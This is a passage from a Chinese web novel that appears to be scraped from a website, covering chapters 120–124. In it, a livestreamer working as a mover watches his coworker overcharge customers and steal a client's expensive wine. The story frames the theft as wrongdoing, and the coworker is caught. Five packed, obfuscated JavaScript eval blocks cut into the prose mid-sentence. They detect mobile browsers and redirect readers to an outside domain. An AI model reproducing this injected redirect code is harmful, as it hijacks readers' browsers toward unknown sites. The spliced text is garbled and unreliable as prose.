“自然是想知道这条销赃的线路是怎么运行的，都有哪些人参与，上家是谁，下家又是哪些，一环扣一环的，肯定得问清楚” “只有把这一整条线路都打掉，让小偷没地方销赃，无利可图，才能从根本上断绝这种偷鸡摸狗的事情。” “楼上的哥们，你很懂啊，分析得头头是道。” 一条弹幕突然冒了出来。 “**！老梁你踏马在这装什么呢？” “我说怎么这么懂，原来是本人回答。” “哈哈哈哈，你一问，本人就来回答了。” 恰在这时，林澈耳边突然响起一道毫无波澜的机械女声。 【恭喜宿主直播间观众认可度达到100%】 【奖励抽奖盲盒*1】 林澈脸上瞬间绽开一抹笑容，脚步都轻快了几分。 走在回去的路上，按捺不住内心的期待，迫不及待地在心里默念。 “统子，给我开！” 话音刚落，一个足有半人高的巨大礼物箱凭空出现在他面前，箱体上印着五颜六色的丝带和礼花图案，透着浓浓的喜庆感。 随即，在林澈的注视下，礼物箱旁边“噗”地蹦出个圆滚滚的熟悉企鹅形象。 它扑腾着短小的翅膀，伸出一双与体型极不相称的大手，在礼物箱里翻来覆去地掏啊掏。 片刻后，企鹅掏出一个包装简陋的小盒子，它低头看了一眼，似乎有些嫌弃地撇了撇嘴，然后随手一扬，就把盒子朝林澈扔了过来。 林澈眼疾手快地接住，入手轻飘飘的。 拆开盒子仔细一瞧，耳边同时响起系统的提示声。 【恭喜宿主获得注意力贴纸】 【注意力贴纸：贴上后可以获得他人的关注。】 【将其交给额阿卡林会收获意想不到的好处，当然前提是你能找到她。】 林澈看着介绍，嘴角微微一抽。 只能说这只企鹅一如既往。 把注意力贴纸揣进兜里，加快脚步往保安亭走去。 第120章 网站 而另一边的直播间内，观众们早已按捺不住，弹幕滚动的速度丝毫未减。 “@橘狗，速度啊。” “@橘狗，今天整什么活？” “你说句话啊？别不出声，我们都知道你在看直播。” 过了好一会儿，橘狗才终于冒泡。 “别吵，我正在努力。” “这次可是租了云服务器。” “放心，这次必不可能失败。” “OHHHHHHHHHH！” “兄弟们，这下稳了。” “必不可能失败=必然会失败。” “橘狗，没想到你竟然祸害上云服务器了。” “快告诉我哪家的，我好避坑。” “哈哈哈，楼上真相了！” ...... 一晃两个小时过去了，房间里弥漫着淡淡的酒气。 Up主一只大橘狗满脸潮红，额头上还挂着细密的汗珠，他猛地放下手里的空酒瓶，“咚”的一声砸在桌面，发出沉闷的响声。 在这两个小时里，他的心一直悬在嗓子眼，生怕哪个环节出岔子，可没想到，竟然安然无事地把视频剪辑完成了。 进度条走完的那一刻，他盯着屏幕，眼神里满是不敢相信——一切都太顺利了，顺利到让他觉得像在做梦。 “竟然没有停电？” “竟然没有断网？” “竟然成功了！” “哇哈哈哈哈！我真是个天才！” 兴奋过后，他看了眼时间，困意涌了上来，嘴里嘟囔着： “赶紧上传，我好睡觉。” 橘狗把视频传回到自己电脑上，手忙脚乱地将视频文件拖进上传框。 进度条缓慢爬升，每一秒都像在考验他的耐心，直到“上传完毕”四个字跳出来，他才长舒一口气。 他还特意在网站上点开视频看了一眼，画面流畅，声音清晰，音画同步得完美无缺。 只是这网站的广告实在太多，刚点开就弹出好几个弹窗，他皱了皱眉。 “算了，不管了。” 倒头就栽倒在床上，沉沉睡去。 一瓶牛二下肚，后劲确实不小，脑袋昏沉得像是灌了铅。 月朗星稀，清冷的月光透过窗户洒在地板上，拉出长长的影子。 不知过了多久，床头柜上的手机突然像某种玩具般疯狂震动起来，“嗡嗡”的声音在寂静的大橘狗被震得一个激灵，迷迷糊糊地从床上坐起来。 头发乱糟糟得像个鸡窝，他揉着惺忪的睡眼，抓过手机，那表情真是一脸懵逼。 “又咋了？” “自己这个视频一切正常啊。” “我可是都检查过了。” 直到点开私信，一张截图赫然映入眼帘。 在某个最大的瑟瑟网站首页，今日热门第一位的视频，标题赫然是他刚才上传的文件名，旁边还配着他视频里的截图。 正是林澈穿着环卫工服装的样子，又帅又阳光。 那一瞬间，大橘狗像是被泼了一盆冰水，酒意瞬间醒了个精光。 他瞪大眼睛，嘴巴张得能塞下一个鸡蛋，手机“啪嗒”一声掉在被子上。 “尼玛的，上传错网站了。” 他猛地从床上蹦起来，手忙脚乱地想去补救，可看着截图上那飙升的播放量，整个人都傻了。 双手抓着头发，一脸崩溃地吼道。 “酒色误我，今日起禁酒！” 虽然一只大橘狗手速飞快，急急忙忙把视频重新上传回了正确的视频网站。 但评论区早已炸开了锅，各种调侃和吐槽像潮水般涌来。 “兄弟们，咱们这波可是误打误撞看上了‘大片’啊。” “B站看片就在今天！” “你们是不知道，刚才我正想日常放松一下，点开那个网站的排行榜，一眼就看到了排在第一的视频，结果点开一看，好家伙，竟然是林澈那张大脸！” “那一瞬间我承认，我整个人都是懵逼的，大脑直接宕机了三秒钟。” “林澈啊林澈，真没想到你这浓眉大眼的，竟然也拍上这种视频了，藏得够深啊！” “橘狗可以的啊，这是打算和人家征兵广告抢生意吗？这宣传效果，绝了！” “什么叫做为国为民啊？这波操作简直就是理直气壮.jpg” “哈哈哈哈，我迟早得被你这波骚操作笑死，橘狗你可真是个人才！” “兄弟们，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898856|176260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们难道没发现这里面有点问题吗？” “啥子问题呦？不就是传错网站了吗，虽然离谱了点，但也没啥大问题吧。” “你想啥呢，重点是up主上传的视频竟然直接通过了那个网站的审核，他是不是还有啥不为人知的副业啊？不然哪能这么顺利！” “**，你说得对啊！这里面绝对有猫腻！” “狗子，现在立刻我给看看。” “还有我！还有我！” 清晨，第一缕阳光从窗帘的缝隙里挤了进来，在地板上投下一道细长的光影。 林澈翻了个身，揉了揉惺忪的睡眼，长长的睫毛颤了颤，慢悠悠地从床上坐起来。 脑子里还有些昏沉，带着刚睡醒的迷糊。 就在这时，耳边响起了那道熟悉的、毫无感情的冰冷女声。 【叮......】 【职业选择中......】 【获得职业搬家工。】 【搬家工配套装备已准备。】 【请宿主尽快开始直播。】 林澈愣了一下，眨了眨眼，似乎还没完全反应过来。 紧接着，放在床头柜上的手机“嗡嗡”地震动起来。 伸手拿过手机，划开屏幕一看，是之前加入的工作群发来了消息： “@林澈，车会在九点到你们小区门口。” “记得提前下来等车。” 林澈手指在屏幕上敲了敲，回了一个简洁的“1”，算是应下了。 林澈洗漱完毕，穿戴好直播设备，开启了今天的直播。 直播间的画面像浸了水的宣纸般缓缓晕开，林澈对着镜头弯起眼角，唇角带着刚睡醒的慵懒笑意。 “兄弟们。” “想死你们了。” 弹幕立刻像被捅了的马蜂窝，密密麻麻的白色字体在屏幕上炸开。 “哇哇哇！” “大网黄我们爱你。” “给我签名！” “我要签名！” “兄弟们也是好上了，这种事都能看上直播了。” 林澈的瞳孔微微收缩，手指悬在屏幕边缘顿了两秒，视线在“大网黄”三个字上滞留。 “啥子情况？” 第121章 诚信搬家 林澈也不是第一次遇到这种情况了。 指尖在屏幕上快速滑动，点开关注列表里那个橘色狗头头像。 Up主一只大橘狗的视频很正常没啥事。 但是评论区那一张张截图。 林澈忍不住惊呼。 “**！” 直播间里的笑声像煮沸的水般咕嘟冒泡。 “哇哈哈哈哈！” “就是这个表情。” “正主也是看到了自己的视频。” “狗子不愧是狗子，总能整出来点活。” “主播也是不知不觉就被送上去了。” 林澈冲镜头挑了挑眉，指尖点了点屏幕上自己表情包的置顶评论。 “看来我还是挺有魅力的。” “这种网站上都能爬到第一。” 林澈一边说着一边走出了房门。 楼道里的声控灯随着脚步声次第亮起，踩着楼梯扶手边的阴影往下走。 清晨的阳光透过单元门的玻璃照进来，在脚边投下细长的影子。 弹幕里突然弹出一条金色的醒目留言。 “主播，今天体验什么职业啊？” 林澈笑了笑说道。 “搬家工。” 弹幕瞬间被问号和惊叹号淹没。 “啊？搬家工？” “主播，你这小胳膊小腿的搬家工？” “你受得了吗？” “别等会你再死在我手机里。” “就是啊，要不换一个呢？” 林澈嘴角一勾，眼尾微微上挑，带着几分戏谑的笑意。 “谁说我不行的？” 故意顿了两秒，指尖捏住衣服的下摆，手腕轻轻一翻，布料便被撩至肋骨处。 紧实的八块腹肌在晨光里泛着健康的麦色光泽，腹线清晰得像用刻刀雕过一般。 直播间的弹幕在那一瞬间仿佛被按下了暂停键，屏幕上只剩下零星飘过的省略号。 三秒后，铺天盖地的惊叹像炸开的烟花般涌来，几乎要把画面撑破。 “**！**！” “主播，你踏马不是癌症晚期吗？” “哪里搞得这八块腹肌啊？” “主播，摸摸！” “本以为咱们都是死肥宅，没想到你竟然是个健身佬，咱们不是一路人，我就不给你打赏了。” “哦哦，原来我本来也不能打赏，呜呜呜......” 林澈慢条斯理地把衣服拽下来。 看着屏幕上滚动的调侃，唇角的弧度又深了些，眼底漾着藏不住的得意。 站在小区门口的树下等了约莫五分钟。 远处传来引擎的轰鸣声，一辆白色的两米四箱货摇摇晃晃地驶来，车身上印着“诚信搬家”四个红色大字。 货车在面前停下时，轮胎碾过路面的小石子，发出清脆的咯噔声。 副驾驶的门“吱呀”一声被推开，主驾驶座上探出一张晒得黝黑的脸。 一位三十五六岁的中年男人，额角有几道深刻的抬头纹，笑起来眼角堆起细密的褶子，冲林澈挥了挥手。 “小林是吧。” “来上车！” “叫我老周就行。” 林澈弯腰坐进副驾驶。 “周哥。” 周哥哈哈一笑，方向盘上的橡胶套被他捏得微微变形。 “咱们今天这第一趟货可不轻松。” “六楼没有电梯。” “有信心吗？” 林澈胸有成竹地点点头。 “走吧。” 周哥没再多说，脚下油门一踩，货车像离弦的箭般窜了出去，后视镜里的小区大门迅速缩小成一个模糊的点。 车子穿过三条街，拐进一片墙皮斑驳的老小区。 门口的铁门锈迹斑斑，缓缓打开时发出刺耳的吱呀声。 货车在坑洼的水泥路上颠簸着前行，路两旁的梧桐树把影子拉得老长。 最终停在一栋红砖楼下，墙面上爬满了墨绿色的爬山虎。 楼前空地上已经站着个人，是个二十七八岁的青年，黑框眼镜滑到了鼻尖，手指正推了推眼镜框。 看到货车停下，立刻扬起手招呼，掌心朝旁边的空地偏了偏。 “停在这里。” 周哥动作麻利得像上了发条，左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906501|176260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手在方向盘上快速打了半圈，右手猛地将挡杆推入倒挡。 车身在他的操控下灵巧地往后退了两米，车尾精准地停在青年指的空地上。 重重踩下刹车，车厢铁皮因惯性发出“哐当”一声闷响，手刹被拉得老高，发出“咔哒”的锁止声。 “砰”的一声，周哥推开车门跳了下去。 绕到货车尾部，双手扣住车厢门的把手。 “哗啦”一声将厚重的铁门拽开，露出里面空荡荡的车厢底板，角落里还残留着上趟活儿落下的几张废报纸。 林澈紧随其后下了车，三人踩着水泥楼梯往上爬。 来到顶楼，推开了虚掩的木门，门轴发出“咿呀”的呻吟。 屋里的地板上摞着十几个鼓鼓囊囊的包袱，蓝白格子的布料被塞得紧绷。 戴眼镜的青年推了推滑到鼻尖的镜框，镜片后的眼睛扫过两人。 抬手指了指墙角的实木餐桌、几把塑料凳和一套沙发。 “各个房间都有一些，然后这些桌椅板凳也都要搬走。” “地下室还有点东西。” 周哥点点头，弯腰抓起最上面的一个包袱，粗粝的手指灵活地从包袱口袋里穿过去，手腕一翻便将三个包袱串在了一起。 如法炮制，另一只胳膊也拎起三个，六个包袱在他臂弯里晃晃悠悠，压得他肩膀微微下沉。 走起路时，整个人像扛着座小山似的摇摇晃晃。 林澈学着他的样子蹲下，手指刚碰到包袱就被硌得一缩——里面像是塞了不少书。 深吸一口气，咬紧牙关将三个包袱拎起，胳膊瞬间酸麻得像灌了铅，刚走两步就感觉血管在突突直跳。 两人一前一后往楼下挪。 周哥额头上的汗珠顺着脸颊往下淌，砸在楼梯上晕开一小片深色的水渍。 来回几趟后，屋里的包袱和桌椅都被清空，林澈扶着墙大口喘气，T恤后背已经被汗水浸透，贴在皮肤上黏糊糊的。 周哥从裤兜里掏出皱巴巴的烟盒，抽出一根叼在嘴里却没点燃，他伸出蒲扇般的大手拍了拍林澈的肩膀，力道不轻不重。 “我告诉你怎么码车。” 第122章 外快 随后周哥带着林澈钻进车厢，一股混合着机油和灰尘的味道扑面而来。 走到侧门往里半步的位置，弯腰挪起客户的沙发，双臂肌肉贲张，“嘿”的一声将沙发横在了那里，刚好堵住了大半空间。 接着他把那些包袱一个个往上摞，大的在下小的在上，很快就堆到了半人高，看起来满满当当。 林澈看着车厢后半截空荡荡的区域，眉头皱成了疙瘩。 “周哥。” “这后面还有那么多空呢？” 周哥直起身，用袖口擦了擦汗，闻言撇了撇嘴。 指了指堆好的货物，又指了指空着的地方。 “你傻啊。” “全都装满那不是赚不到钱了吗？” 周哥得意地扬了扬下巴，眼角的褶子堆得更深。 “像我这种装车，一车货能装两车。” “两车货能装三车、” “就算是半车货也能装得满满当当，让客人挑不出刺来。” 周哥拍了拍林澈的胳膊，语气里带着点传授秘诀的骄傲。 “咱们是按车来的。” “这才是赚钱的本领。” 林澈脸上的表情没什么变化，唇角依旧维持着刚才的弧度。 “哦，我明白了。” “我去地下室搬东西。” 林澈下车往地下室跑。 低头看向手机屏幕。 “半车装一车，这个我真的能理解。” “如果空出来一大块，客户是真的会来砍价。” “但一车装两车，两车装三车......” “回头举报一下吧。” “这人不诚信经营。” 说着推开地下室的门，一股潮湿的霉味扑面而来，客户站在里面整理东西。 直播间的弹幕像被点燃的炮仗，瞬间炸开了锅。 “尼玛的，难怪我之前搬家的时候，明明没有多少东西，愣是装了三车。” “哦，哥们，你这肯定是被骗了。” “我可以允许他涨价，但他不能骗我啊。” “俺也一样。” 恰在这时，林澈耳边响起系统冰冷的提示声。 【恭喜宿主观众认可度达到50%】 【获得奖励生命点*1】 【当前宿主剩余寿命：十五天】 林澈弯腰抱起地下室角落里的一个纸箱子。 不多时，车厢被塞得再也放不下任何东西，连缝隙里都塞满了卷起来的塑料布。 客户推了推眼镜，镜片反射着货车的白色车身，他微微点头，语气里带着几分满意。 “OK，我给你们带路。” 周哥露出憨厚的笑容，眼角的褶子挤在一起，露出两排有些发黄的牙齿。 “嗯嗯。” 林澈坐进副驾驶时，身上的汗渍已经干了，留下一圈浅白色的印记。 客户的黑色轿车缓缓开动，周哥挂挡时齿轮发出轻微的“咔咔”声，货车不紧不慢地跟在后面。 周哥突然侧过头看向林澈，嘴角勾起一个意味深长的弧度，眼神里带着点神秘。 “小林啊。” 林澈转头看他，眉头微蹙，不太能理解周哥此刻的兴奋，语气里带着几分疑惑。 “怎么了，周哥？” 周哥缓缓将车停在红灯前。 他从座椅后面费力地拖出来一个箱子，上面印着密密麻麻的英文，字体有些模糊。 周哥用胳膊肘蹭了蹭箱子，发出“咚咚”的闷响，眼睛里闪着光。 “好东西啊。” “你要吗？” 林澈看着箱子好眼熟。 随后突然就想起来了。 “周哥。” “这不是在客户地下室搬出来的东西吗？” 周哥毫不在意地耸耸肩，抬手拍了拍箱子。 “是啊。” “我看这里有三瓶酒。” “我一瓶，你一瓶，还能给客户留一瓶。” 林澈像是被踩了尾巴的猫，猛地坐直身体，后背瞬间绷紧。 盯着周哥那张理直气壮的脸。 “你这是偷东西。” 周哥立刻摆手，掌心的老茧蹭过方向盘，发出沙沙的声响。 “什么话？” “这只是客户自己喝了，他没记着而已。” 说着往林澈身边凑了凑，压低的声音里带着点神秘。 “咱们干这行的，顺手牵羊的事儿多了去了。” “几乎不会被找回来。” 直播间的弹幕像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906502|176260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被泼了热油，瞬间沸腾起来。 “**，这是什么？教唆主播偷东西？” “太踏马的离谱了，当真是不得不防啊。” “下次这些东西我还是自己收拾好吧。” “等等，我上次搬家后充电宝就丢了，这么一想......” “别想了，没人拿不太可能会丢。” 周哥浑然不觉，从里面掏出一瓶红酒。 深红色的瓶身上印着烫金的花纹，软木塞边缘还沾着细碎的木屑。 他把酒瓶往林澈怀里塞，瓶身冰凉的触感让林澈下意识地缩了缩手。 “拿着。”哥的语气带着不容置疑的熟稔，“不拿白不拿啊。” 林澈往后靠了靠，避开递过来的酒瓶，摇了摇头。 “算了，我不爱喝酒。” 周哥收回手，瞥了眼林澈，嘴角撇出几分不以为然。 “年轻人啊。” “没事再等几年你就知道了。” “人家客户有钱。” “也不在乎这么点东西。” “别看这种外快少，实际上算在一起。” “一年下来也能不少钱。” 林澈没接话，只是悄悄调整了手机角度，让镜头更清晰地拍到周哥手里的酒瓶。 随后从口袋里摸出注意力贴纸。 周哥见林澈油盐不进，脸上的得意劲儿淡了大半。 轻咳一声，喉结在松弛的颈肉里滚动，声音陡然变得严肃，带着几分不易察觉的威胁。 “林澈。” “你不会和人乱说吧？” “告诉你就算是说了也没事。” “客户就是一群傻子，稍微糊弄一下。” “这种事也就能过去。” “况且最后大不了，也就是我把酒给他找回来而已。” 林澈点点头，手机镜头恰好拍到他微微上扬的嘴角。 直播间的弹幕像是被捅了的马蜂窝，瞬间炸开。 “我怎么感觉好像被人当作傻子了？” “不用好像，就是这样的。” “好好好，好一个糊弄。” “主播，你别笑了，我知道你已经有计划了，快说说你怎么办？” “他笑得好贱，我好想捶他。” 第123章 都搬完了？ 箱货跟着前面的黑色轿车拐进一个新小区，门口的道闸抬起时发出“滴滴”的提示音。 周哥转动方向盘，轮胎碾过铺着鹅卵石的路边，缓缓倒到单元门口。 周哥推开车门时，顺手拍了拍林澈的肩膀，掌心的温度混着汗味传来。 林澈不动声色地往旁边侧了侧，指尖的注意力贴纸“啪”的一声贴在酒箱上。 “你说你能解释？” “那你就解释一下吧。” 两人下车将东西往楼上搬。 这边有电梯确实轻松不少，三趟就把半车厢的货搬完了。 周哥抹了把汗，走到站在楼道里的客户面前，脸上堆起憨厚的笑。 “我们继续回去装了。” 客户目光落在散落一地的包袱上。 “那边门没锁。” “我就不回去了，在这里收拾一下。” 周哥脸上堆着憨厚的笑，眼角的纹路随着点头的动作轻轻挤在一起。 “好的。” 话音刚落，他抬手拍了拍林澈的胳膊。 两人一前一后拉着那辆印着“诚信搬家”字样的箱货，引擎“突突”响着汇入车流，很快消失在路的尽头。 客户下意识地左右扫了眼空旷的客厅，目光像探照灯似的掠过散落的纸箱和打包袋，最后定格在墙角那个被旧布半掩着的酒箱上。 客户眉头几不可察地动了动。 这可是托人从法国带回来的波尔多红酒，下周末要送领导的贺礼。 他快步走过去，皮鞋踩在地板上发出“噔噔”的声响。 伸手一提酒箱的瞬间，脸上的从容倏地凝固了。 “咦？”客户低低地咕哝了一声，眉头拧成个疙瘩 这箱子怎么轻得像空的？自己记得清清楚楚，里面应该还剩三瓶才对。 蹲下身，手指抠开箱子侧面的缝隙，哗啦一声掀开盖子。 淡紫色的丝绒内衬上，果然只孤零零地躺着两瓶红酒，瓶身上的标签在昏暗的光线下泛着微光。 客户的眼神骤然冷了下来，双眼微微眯起，瞳孔里映着酒箱的影子。 记错？绝不可能。 这酒自己宝贝得很，除了上个月陪领导吃饭开了一瓶，平时连箱子都舍不得碰。 指尖轻轻摩擦酒瓶，心里却像被什么东西硌着，又闷又沉。 与此同时，箱货停在了老小区的单元门口。 两人一起走到地下室。 周哥已经扛着一段牵引绳走在前面。 那绳子是深绿色的尼龙材质，约莫有半个手掌宽，边缘磨得有些起毛。 走到那个掉了漆的红木柜旁边。 手腕一翻，绳子“嗖”地从柜底穿了过去，两端在柜角打了个结实的死结。 “来，套在脖子上。” 林澈点点头，脸上沾着点灰。 拿起绳子的一端，小心翼翼地绕过脖子，调整到合适的位置，绳面贴在锁骨处，带着点粗糙的质感 周哥也依样画葫芦，两人对视一眼，同时深吸一口气，肩膀猛地往下一沉，绳子瞬间绷紧，在脖子上勒出浅浅的红痕。 红木柜被稳稳地抬离地面，发出“嘎吱”的轻响。 直播间的弹幕像潮水似的涌过屏幕。 “这玩意套在脖子上不勒得慌吗？” “勒是勒了一些，但就算谁脱力了，手一松，绳子勒得更紧，想放都放不开。” “嘶，好像是这么回事。” “这就是劳动人民的智慧。” “戴上这个绳子，你就再也不是个普通人了，而是披荆斩棘的搬家工。” “哈哈哈哈。” 林澈和周哥咬着牙将红木柜抬到箱货旁。 周哥腾出一只手抓住车帮，手臂上的青筋突突直跳， 林澈则弓着腰用肩膀顶住柜面，两人脚步踉跄着把柜子塞进车厢。 周哥直起身揉了揉发酸的腰，掌心在柜门上摩挲着，朝林澈扬了扬下巴。 “小林。” “你看这多好的柜子，雕花多精致。” “就这么在地下室吃灰，可惜了。” “很明显人家根本不缺钱。” 林澈抬起头，额前的碎发被汗水濡湿，贴在光洁的额头上。 没说话，只是平静地看着周哥，眼神里没什么波澜。 周哥忽然咧嘴一笑，眼角的皱纹挤成一团。 “所以，我帮他消化一些东西。” “也省得他浪费。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15910779|176260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说这话时，手指不自觉地敲了敲柜门，发出笃笃的轻响。 林澈依旧没搭腔，转身去系车厢的帆布绳，绳结勒的指节发白。 直播间的弹幕像炸开的爆米花，密密麻麻地滚过屏幕。 “好一个‘我偷我有理’，这逻辑也是没谁了！” “缺不缺钱和你偷东西有半毛钱关系？歪理邪说一套套的！” “他这是怕主播转头就举报他吧，故意说这种话找补。” “可不是嘛，越是拼命掩饰，越说明心里发虚。” “你们这洞察力，不去当侦探可惜了哈哈哈。” 周哥见林澈不搭理自己，脸上的笑僵了半秒，随即大手一挥。 “走，回去了。” “这一趟送完就完事了。” 两人钻进驾驶室，箱货“突突”地发动起来。 林澈望着窗外**的街景，手指无意识地抠着座位上的破洞。 周哥则时不时瞟向手机屏幕，嘴角的笑有些挂不住 车刚拐进小区楼下，林澈就瞥见单元门口站着的客户。 见两人从车上下来，客户脸上没什么表情。 只是轻咳一声，镜片后的目光扫过敞开的车厢。 “柜子搬到楼上，其他的东西还是放到地下室里。” 周哥和林澈两人麻溜地卸了货。 不过十分钟就把东西归置妥当。 周哥擦着汗走到客户身边，脸上堆起惯常的憨笑。 “兄弟，都搬完了，您瞧瞧？” 客户推了推鼻梁上的眼镜，镜片反射出冷白的光。 慢悠悠地扫过房间，目光在周哥脸上顿了顿，不疾不徐地追问道。 “都搬完了？” “你确定？” 周哥心里猛地咯噔一下，像被什么东西狠狠撞了下。 冷汗瞬间从后颈冒出来，顺着脊椎往下滑。 难道事情暴露了？ 不可能！ 林澈那小子全程跟自己在一起，连跟客户单独说话的机会都没有。 他飞快地在心里盘算着，脸上却依旧笑嘻嘻的。 “是啊，兄弟。” “一件不落，都按您说的放好了。” 第124章 搜车 客户镜片后的目光像淬了冰，又追问了一句。 “你确定？” 尾音拖得长长的，在房间里打着旋儿。 周哥赶紧挺起胸膛，右手“啪”地拍在胸前，震得衣服上的灰尘簌簌往下掉。 嗓门拔高了两个调门，脸上堆着不容置疑的恳切。 “您放心。” “我们‘诚信搬家’的招牌可不是白挂的，肯定不会落下半件东西！” 直播间的弹幕瞬间像被捅破的蜂窝，密密麻麻地涌出来。 “玛德，这就是所谓的‘诚信’是吧？长见识了！” “别管别的了，就冲这睁眼说瞎话的劲儿，也得给个‘影帝’提名！” “车身上喷着‘诚信’俩字，合着人就不用遵守了？这操作绝了！” “坐等打脸，看他还能嘴硬到什么时候！” 客户没理会周哥的信誓旦旦，只是缓缓从身后拎出那个酒箱。 抬手往旁边的旧木桌上一放，“咚”的一声闷响，震得桌上的空矿泉水瓶都晃了晃。 “这里原本是三瓶酒。” “但现在只有两瓶了。” “我现在问你，那瓶酒呢？” 周哥的脸“唰”地一下白了，瞳孔猛地收缩。 心里像揣了只乱撞的兔子，咚咚直跳，却梗着脖子不肯松口。 搓着手，笑得比哭还难看。 “兄弟，是不是你自己什么时候喝了？” “毕竟我们搬的时候也不会看这里面有几瓶酒。” 客户的语气骤然冷了下来，像二月里刮过胡同的寒风，带着刺骨的凉意，看着周哥瞬间僵硬的脸。 “这一瓶三千多。” “我没事自己喝了还不记得？” 周哥的嘴角猛地一抽，腮帮子的肌肉突突直跳。 怎么也没想到这破酒竟然这么贵，早知道就不拿了。 可现在说什么都晚了，他只能硬着头皮装傻。 客户往前逼近半步，又问了一遍，声音里带着不容抗拒的压迫感。 “酒呢？” 周哥赶紧摇头，幅度大得像拨浪鼓，双手在身前摆个不停。 “不知道啊！” “真不知道！” 客户忽然冷笑一声，镜片后的眼睛眯成了一条缝。 指节在酒箱上敲出规律的轻响。 “这样吧。” “你现在把酒找回来。” “这件事我当没发生过。” 周哥梗着脖子，摆出一副受了天大委屈的模样，声音都带上了点颤音，掰着手指头数。 “兄弟。” “我也不是第一次帮你搬家了。” “前两年搬办公室，去年挪家具，哪次丢过东西？” “不信，您现在就搜我的车！搜我的身！要是能找出半瓶酒，我任凭您处置！” 直播间的弹幕像被点燃的炮仗，噼里啪啦炸开一片。 “**，这就是典型的不见棺材不掉泪啊！” “他怎么敢的啊？明知道酒在车里还敢叫嚣搜车，疯了吧？” “搜车？那就搜！既然要整这么刺激的，那就贯彻到底，我倒要看看他怎么圆！” “好，今天这戏够劲，怕是能看到血流成河了！” 客户盯着周哥那张写满“无辜”的脸，镜片后的眼神冷得像淬了冰，二话不说转身就往电梯口走。 皮鞋踩在楼道地砖上，发出“噔噔”的脆响，手指按向电梯按钮时，还悠悠飘来一句。 “好，搜车！” 周哥脸上的血色“唰”地一下褪得干干净净，心里头像被重锤狠狠砸了一下，直呼完蛋了。 下意识地攥紧拳头，指节泛白，额头上渗出细密的冷汗，顺着脸颊往下滑。 眼角的余光瞥见一旁抱着胳膊、眼神平静的林澈。 周哥忽然咧嘴扯出个比哭还难看的笑，像是抓住了救命稻草。 客户的动作快得惊人，仿佛早就知道酒藏在哪似的，进了电梯后，数字“1”亮得刺眼。 周哥磨磨蹭蹭地跟在后面，心里头七上八下的。 刚到一楼，客户就径直走向那辆印着“诚信搬家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912340|176260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的箱货，周哥的心跳瞬间提到了嗓子眼。 只见客户拉开主驾驶的车门，动作干脆利落。 右手伸向座位后面，像是长了眼睛似的。 在一堆皱巴巴的抹布和旧报纸里一掏，“噌”地一下就把那瓶红酒拽了出来。 酒瓶子在阳光下闪了闪，标签上的烫金大字刺眼得很。 客户回头扫了周哥一眼，那眼神里没有惊讶，只有了然的冰冷，仿佛早就预料到这一幕。 他什么也没说，转身就往楼道走，皮鞋踏在水泥地上，每一步都像踩在周哥的心上。 周哥耷拉着脑袋，像只斗败的公鸡，蔫头耷脑地跟在后面。 回到楼上，客户“咚”地一声把酒放在桌子上，瓶身和桌面碰撞的声音在安静的房间里格外刺耳。 眼中的冷意几乎要溢出来，声音一开始还压着，说着说着就越来越大，像滚雷似的在屋内炸开。 “你让我搜得。” “我还搜到了。” “那这件事就不会这么完事。” 周哥低着头，肩膀微微耸动，看起来像是吓坏了。 突然，他猛地抬起头，眼睛里闪过一丝狡黠的光，像是灵机一动。 